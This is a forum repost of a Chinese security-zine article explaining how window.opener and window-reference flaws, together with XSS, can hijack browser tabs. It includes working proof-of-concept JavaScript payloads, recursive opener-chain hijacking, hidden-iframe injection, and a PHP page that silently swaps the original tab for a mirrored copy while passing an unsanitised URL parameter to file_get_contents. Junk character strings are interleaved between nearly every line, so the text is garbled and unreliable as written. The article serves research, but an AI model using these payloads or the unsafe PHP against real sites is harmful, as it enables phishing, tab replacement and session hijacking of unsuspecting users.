中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
==Ph4nt0m Security Team==
4 Y' e. J# L8 d2 T: D) p6 N( z7 P( G1 n
' x4 x: F- O: T- m% u) ]8 ^! C. `
Issue 0x03, Phile #0x05 of 0x07
( g+ d7 c3 y. T) `4 f; D+ @
* t( P+ u0 N8 o; N
6 Z* E- ~/ H7 o L2 Q* ]* J" k
|=---------------------------------------------------------------------------=|
: [" O. e. U7 }# O
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
8 ]9 i) e+ ?. V# |
|=---------------------------------------------------------------------------=|
# _$ P8 W% ^, Y7 X4 V
|=---------------------------------------------------------------------------=|
1 U) D. O! e- G$ T) }7 G
|=------------------------=[ By rayh4c ]=---------------------------=|
8 \- ~& J5 E" m2 A
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
b4 [" A" U- x; q6 X& ]3 r( Q' E5 M
|=---------------------------------------------------------------------------=|
& P; M5 }% c: D
f; h7 @. {+ F. b8 n
) `( t0 C4 o3 m, U7 T
[目录]
! F# m B! P5 i2 y: `( W. ]
. [. H. _! y5 A5 X; @5 N, w
1. 前言
7 w" t/ ]1 h9 i- q
2. 同源策略简叙
/ t% g* N0 E! V* m, i
3. 理解window对象的同源策略
3 ?) e* K5 v% Z2 z
4. 窗口引用功能中的同源策略漏洞
+ K; F+ K5 w1 v# D4 V* m
4.1 父窗口引用子窗口的同源策略问题
3 L' d0 ]& ?# W5 n. G: a" v
4.2 子窗口引用父窗口的同源策略问题
9 |* y; M2 N7 L$ W2 ~3 G2 m& V8 s5 [
5. 利用窗口引用漏洞劫持浏览器
. x7 K$ O4 H" ? z- u
6. 利用XSS漏洞劫持浏览器
7 G9 e: K* Q& s
6.1 正向跨窗口劫持
+ C% k7 w/ y9 V2 f4 A% F8 w# c4 j
6.2 反向跨窗口劫持
: z- c" b5 s9 d+ W1 F7 V
6.3 极度危险的跨框架窗口引用劫持
" t2 h' p7 Y+ i7 `( k
6.4 极度危险的正反向跨窗口递归劫持
3 N6 |: y/ y' Y( E8 s
6.5 完全控制浏览器
2 X( k, H6 a6 S8 C" v1 N) h/ o9 R
7. 后记
5 N' Z+ f7 N/ _7 n
8. 参考
( |3 @1 ~. h7 m9 A1 B
% {. O p. R* C& @; c
9 a5 q3 g' C6 w% J1 {
一、前言
, e: v' R6 }- L9 b% o6 O3 |! w3 s
* {, a, \% C8 t" C# Q
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
& f6 ]! R5 S) [/ s* P
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
1 y4 _% Q! x |1 _/ D A) H& ?
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
* g+ V1 b a0 k6 E1 X5 F
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
" P3 _0 p! t2 D9 d) H
: F1 `& h/ t" B
1 t7 v, h( M0 v6 B
二、同源策略简叙
8 A% M! Z' c; P9 v6 h1 r" O
; i! ~# P* B8 v
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
5 g6 F0 ]9 |+ M1 g
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
* W5 q* l7 m* M' ?) k8 q" A+ J1 X; N
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
+ w& N9 a, Q2 }8 B% j! [
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
`, K( b! ^, x( ~
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
Z1 N y: I/ p, w0 `
* G ? U( {& R% o1 \
! r5 l! i9 s# ^4 e
三、理解window对象的同源策略
4 h5 F) r1 i2 X$ B: v8 w6 n
2 r! Q$ [: v; m: B) q4 y
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
' j7 c. c9 V* P% A/ X @
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
7 n1 S: A- R# b4 ]$ g! k3 q
2 e1 K% @ i" N$ |- D
--code-------------------------------------------------------------------------
- t: P" s: t( K7 z2 `) u' c8 s' W0 I
<script language="javascript">
, V9 v, w1 E) F# p/ e G
for(p in window) document.write(p+"<br>");
0 b0 \- X6 a; u9 t9 l1 A
</script>
# N8 r [8 N9 S( ^8 ~
-------------------------------------------------------------------------------
5 A$ \7 U, |% a* @# l0 P
$ G5 v7 S, q5 e) T* X7 H
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
. D( \; L/ Q3 _5 E8 } m
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
& F9 z' q, e" M- a, G9 W4 s
这些属性和方法就必须遵循同源策略。
9 J8 V& p' ]2 Y8 N) g
3 F3 d9 w/ _4 t) W) ?( _: V
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
6 D- R* G! A: |/ j
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
]" x- o4 \) l. d6 C
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
( ]/ J' ^' B' _! |- }$ ]; K
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
K* D! Y# O9 ]3 l/ `2 V! W
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
; ]( q8 v" H6 N
属性并没有被拒绝访问。
4 k5 s( z7 ~( v
/ L+ J/ G( s" W" Y
--demo.html--------------------------------------------------------------------
2 |& E+ O2 Q, [1 q0 B, d! a3 H @$ _
<script language="javascript">
. x- O+ ]' }5 n7 F) U; t- x
function allPrpos(obj) {
0 R1 b2 a4 s- a2 d; g
var props = "<table><tr><td>名称</td><td>值</td>";
: ^7 ?# v: D; X
for(var p in obj){
) i. u" G" @3 ~. H0 M
if(typeof(obj[p])=="function"){
0 H! k1 {6 Z/ ?. U k
obj[p]();
' m) L, ?0 i9 P8 ^/ O
}else{
8 p! j$ U c v$ g
try
q9 \& T/ F- U/ c! ^5 q5 J9 n, J
{
! h3 X# }: U7 z9 s2 R- w* X
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
' Z+ {( V4 B* x6 B: b5 w, d2 j
}
9 I( M" R/ A" U; h* X
catch (ex)
$ Q& X- a' H" ~* d2 m+ ?, x/ P8 @
{
( C. O- W+ r7 P) E/ t
" q2 G( G2 ~$ m
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
# l i$ x5 O- u' k1 I5 j
}
7 d$ U2 Q" Y' r P i' Y, R- F
+ w8 u! w, V* n8 S! @8 S& N
}
. b/ n0 }4 W7 t& P# L
}
" h; `7 U8 T4 O1 h+ z4 c
/ ]1 m [; l5 N- m
document.write(props+"</table>");
" s6 n) W4 \. j2 Q, j' s+ p, V& ^
}
; n6 z9 _+ T6 u
. \& S" `6 T& o# d1 F, [, A8 W5 p# a
function createWin() {
% U. f# w6 I3 f {9 F- p' h
newWin = window.open ("http://www.google.com");
- s5 Y9 i# d/ j& i. B, ~- J
setTimeout(function(){allPrpos(newWin)},2000);
3 j* w1 G; K3 T
}
3 O$ X& t8 s7 y
3 I/ W* N; i3 a" l+ G
</script>
F; Z8 x3 ~# s; H$ K
9 I& g+ W$ _0 ~2 @; e
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 J5 |( ?6 G7 c; i1 n9 v( I2 E
-------------------------------------------------------------------------------
5 h! r% j; q0 ~; P J
# @, t( k8 t2 Z: C2 T6 _0 J
0 ^. ^! j5 l5 m4 X' B
四、窗口引用功能中的同源策略漏洞
% f' k) o( ~$ a$ \3 Y$ L0 Q' E0 L
4 a# Q2 k+ h% r% ^
4.1 父窗口引用子窗口的同源策略问题
4 A' q4 q/ P7 l4 P
# O& H) J" M4 A0 [3 ~8 g3 S- v! S
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
( ~$ {* N# B% m8 o* y
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
' ^& U% Z" r, A% C) k% x A
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
! M7 v) c" U' [2 N7 z: a
行测试,会发现父窗口可以控制非同源子窗口location属性值。
) m# J" {: `+ h3 u- W7 S- x
# ~: g% P: t0 U3 O
--vul1.html--------------------------------------------------------------------
; {: D3 t& \4 d3 ^7 {( Y4 L' g
<script language="javascript">
& j1 }) W+ F9 O Y" @2 ?. J
function createWin() {
+ b% ^ p' H$ j
newWin = window.open ("http://www.google.com");
1 d; G3 r0 `6 H, [+ F7 J
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
3 ^" j. G; N- w% N( P2 J" ^
}
9 V) a6 T+ S1 [( Z4 l2 T; U
</script>
w9 v: ^8 _0 w) s; Q3 `
6 M# i& r4 d; N; F! x8 X) @5 R
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
4 @. G( C) F% N3 H$ F) n5 \" g
-------------------------------------------------------------------------------
- m! D% {0 p6 g# z. ~
0 M1 `7 a/ r3 U7 |! q1 I1 C
( O$ j2 L) S3 ~: ?. z* L5 {
4.2 子窗口引用父窗口的同源策略问题
" p/ Z4 n7 j. T: t
* R: f! i$ T' v
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
) c. b% o, z; W( i6 V# x$ B0 [9 r
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
1 g/ N4 U' |- {
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
# l0 t5 D3 y& O2 W; o3 d% w) ~8 t
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
/ y1 l: H# {5 x7 ~# q& C' y
# |3 m* ~1 N8 {* E( D& }& T) E
--code-------------------------------------------------------------------------
% h: |; X4 l; L" n( E
+ ~1 d. C( S+ z8 ^
javascript:window.opener.location = "http://www.80sec.com";void(0);
. O5 i3 s! n) o' F0 R
* t# t$ w: l$ l3 S. R
-------------------------------------------------------------------------------
! n9 O: I# n% d S1 x2 W/ @
$ Y9 }6 B3 L( Z+ L% H, x
& u/ z0 D( o* f7 l
五、利用窗口引用漏洞劫持浏览器
5 U% b" d- A" ~2 j
" Q4 c4 ?5 l+ N
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
% c8 p& H1 _& U# @
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
5 v1 P9 [% \6 F% p: ^2 n, l
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
* T& g( z' V0 Z* O' r
* o2 Z/ J1 X7 F* S4 e
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
& b& d/ _% i' J' G: D# Y8 [) A
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
" e2 c5 d0 o$ R6 k% T+ q6 u
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
% G: @! v0 f/ y) m9 Z3 k
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
) y( j+ M8 B4 ^) ]; L' `; v
会产生什么可怕的后果。
: \. h; y0 A$ @3 H
5 c, @2 g5 f; R4 ^ m
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
1 y5 R! C3 h1 I/ G2 |! M
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将
http://127.0.0.1/hjk_ref.php
# D+ S: N7 [ r$ {1 G+ I8 I
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
6 A5 A& D( o! J5 Y5 N
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
+ T9 o( `$ y3 }
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
7 F( k* D5 ` O
0 B' |) T. [1 ?9 Q; R
--hjk_ref.php------------------------------------------------------------------
1 `; t5 d! d' V( v! ?* a: J( V" ]
<?php
& Y; B3 g+ @+ J1 ]6 r
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$ K9 y+ c6 S( Q8 N6 I
$Url_Mirror = $_SERVER["HTTP_REFERER"];
4 H2 c. T0 w7 B H
}
9 u& |" y; A) B: f6 c- X: |( u
if(isset ($_GET['ref'])) {
" v" q# M) v0 ~
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
6 I p& R4 q9 z ]$ z
}
- R5 U {: z5 f3 `/ S; r8 {
?>
4 E' ~/ G: }! C) t6 J: r6 g
- }4 M) h1 ?0 c( _& b S! @! |
<script language="javascript">
# A; W( M2 L0 ?! b) d, P
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
# }9 [0 l; r0 r: _
</script>
$ L3 t$ T. y- H1 \) x& ]+ h% M; |
-------------------------------------------------------------------------------
1 U4 J; a; _. g. `, f7 Q
y2 I$ x( p- E
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
, N( W& x/ }) k" i! |$ Z
7 d: W! f6 Y# P6 k# |
' J K+ A& y. U: n/ z3 L/ ?
六、利用XSS漏洞劫持浏览器
( `6 t/ z- X* J3 f1 g
: Z0 C' x5 P k) \
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
( C2 b& h6 m! q% X6 ]* \4 F
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
0 Y& I) }8 `4 G
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
8 @1 f2 |: o3 N: v
讨论跨站师的终极技巧:
- V* J& U. Y' r. W: [( {- N$ v9 W% a
( W1 G% f1 N1 y; {; j) ~5 ~, i
# T4 x5 f& P6 R6 z! K% j; s
6.1 正向跨窗口劫持
0 _* O3 P: P; Q9 x) E; H. }
# j0 p1 }& A- q w5 Q2 R
大家可以先试验下hijack_open.js这个脚本,比如打开
http://bbs.dvbbs.net/
动网论坛
' x1 Q) S- q3 C" v5 ~! @
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
( ^( Y) e Y1 L. H
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
5 ^/ g: m4 S' ?: D, a) ^) ?
框脚本。
$ b! _. h4 K O# ~7 D8 n( ] E
- z) i$ d( E+ L, x
--hijack_open.js---------------------------------------------------------------
" M$ ^1 a! A: g( h& g
9 b5 g; \7 _6 j f& b
javascript:for(i=0;i<document.links.length;i++){document.links
.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
0 \9 {+ T1 H1 D4 F
0 ~8 A3 F& b/ m
-------------------------------------------------------------------------------
8 y# ?/ ^4 i* I* |! V
9 n5 {/ X+ H: u g. G& u# \" q
6 E) e! C/ A3 z/ o
6.2 反向跨窗口劫持
- M' c" a; M. z
. v/ `5 V3 Q( S C0 h. t
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
: a5 P1 `# ^! _$ ^1 X3 [0 p
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
7 O$ U% }) ?; i6 I1 m o& A
框脚本。
6 a$ k, E7 B5 T& _
) G+ `' P2 l" v, R; v8 n
--hijack_opener.js-------------------------------------------------------------
) Q# |" k6 ^- Y$ m- ~4 E
3 j) b7 f& P7 e3 [/ v/ `
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
) r1 ]; n2 C% c: C4 \" Z. S
) U2 z, l- @5 _9 f, Q9 [3 n
-------------------------------------------------------------------------------
4 H& L5 d8 N/ r* q& I
) o# x+ d5 O/ B4 A9 k. i
' F6 C: X1 k1 y* c" \1 `
6.3 极度危险的跨框架窗口引用劫持
* U9 M# f( T: i" ?) }
/ w+ w: X" Q5 [; Q1 `/ V& F1 I8 p
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
: e9 Y8 f1 S% R/ D% `3 [
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
8 l' y3 e& x' s7 G l$ O4 a! `
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
4 W+ U3 T( j0 C
非持久型的XSS,如下:
* x7 m4 w6 _1 V
& L8 p5 X, Q0 \: h0 y8 Y
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
/ ]( p4 U3 ~% D0 p: a
4 _' n9 _" ]1 K/ s
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
$ R8 G; `) q7 k! q. P# t% G
注入脚本。
0 e6 s1 p4 u% ^0 _% G9 Y- T! [ l7 I
$ L- I6 ?3 m3 l" y
--hijack_frame_opener.js-------------------------------------------------------
) @" v7 B7 r C% S
<script>
* g% p' [$ _' g2 K
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
* B% a# B% X" u w
</script>
" i! r o; n+ J! A9 z+ t
-------------------------------------------------------------------------------
8 I4 b* v# X! y. C8 e [1 K
+ ^& H6 \, @' [
1 b- U" v1 P! E* [; y/ G8 I6 Y% S# A
6.4 极度危险的正反向跨窗口递归劫持
% ~( G1 n; D0 z- G
3 w+ s+ e, C& @4 y; |' V- f
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
* u5 q1 m8 \$ d. }# f
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
. v5 f- n: O, _! \
异常处理规避之间跨域页面的访问异常,代码如下:
0 q& Y7 I3 n4 \' D5 I
/ x Y. E5 M' D' _1 e. L
--code-------------------------------------------------------------------------
' c! A0 i" T; M/ Z
5 R1 L1 i* [' E2 E/ m6 x: z) q
javascript
function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
- N8 J6 J. B2 J5 f. E- ?9 k
7 K7 ^0 x4 ~$ ^ D6 O/ Y
-------------------------------------------------------------------------------
8 e3 Y+ n" D& d- X& y
, Z& B" y2 N: C
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
! [8 A4 d4 J2 O% a
以劫持B域之前的A域页面,从而实现“隔空打击”。
; v! w6 N/ ]6 A' J2 U# `' w
% L) {# f( ^7 W# |; j8 J
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
. l( R- k$ W, R1 L2 L' P0 e
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
G, P; q. m1 I4 v& W
. m: x( U* H# w( Y% v7 Q
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
4 [! [+ w0 N2 `$ s$ R7 A) t. h
/ H8 \& X6 _0 ~) T8 |$ z
0 H& _$ {" u7 X6 L/ P1 I
6.5 完全控制浏览器
1 a; K# x8 J; [1 \0 @, u; L2 r
/ O6 p! z$ K w. v2 @6 l5 J
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
( C4 T$ \& L& f6 r) v& A
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
# y1 p" y) z* S( X3 J9 A. R
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
. _$ S1 [* T( n0 l* M" C0 B3 |/ G7 S4 N
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
6 t$ t2 b4 I3 U& _
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
! ~8 H! V, P" ~, T
师的终极目标 - 完全控制浏览器。
! e3 r i8 S1 y3 y, W5 D3 ^! ^! U
e) y' n T9 V; H; V- ?
6 t# m6 B9 A. v
七、后记
, _/ `3 _; J* b6 a! {2 z
6 D) R. D6 \/ x+ F! l
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
6 ^( N1 l4 P5 @+ q6 Y) _' w
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
9 N) }$ w. Q7 e
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
1 J' h; ]* a- O' \0 K
x, M1 N0 E. `" W; q
" U) e2 v ?+ K2 R0 l
八、参考
9 n/ |' M' Z' M, \) w8 |
* V+ B( p N1 c* H( k. E
1.
http://en.wikipedia.org/wiki/Same_origin_policy
4 [* y' ~) y T, s
2.
http://code.google.com/p/browser ... licy_for_DOM_access
8 D5 I! |2 B5 t" T
3.
http://www.w3.org/TR/Window/
( s+ S8 B2 }! s: ~& S6 ^
4.
http://www.80sec.com/release/browser-hijacking.txt
" ?, L/ _3 `1 c- _5 A
5.
http://www.80sec.com/all-browser-security-alert.html
0 P0 k. Q7 L6 }: g
6.
http://www.80sec.com/ms08-058-attacks-google.html
" v) v. E( r! c) [8 U& T
) G5 |. c9 ?* z( U/ h
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2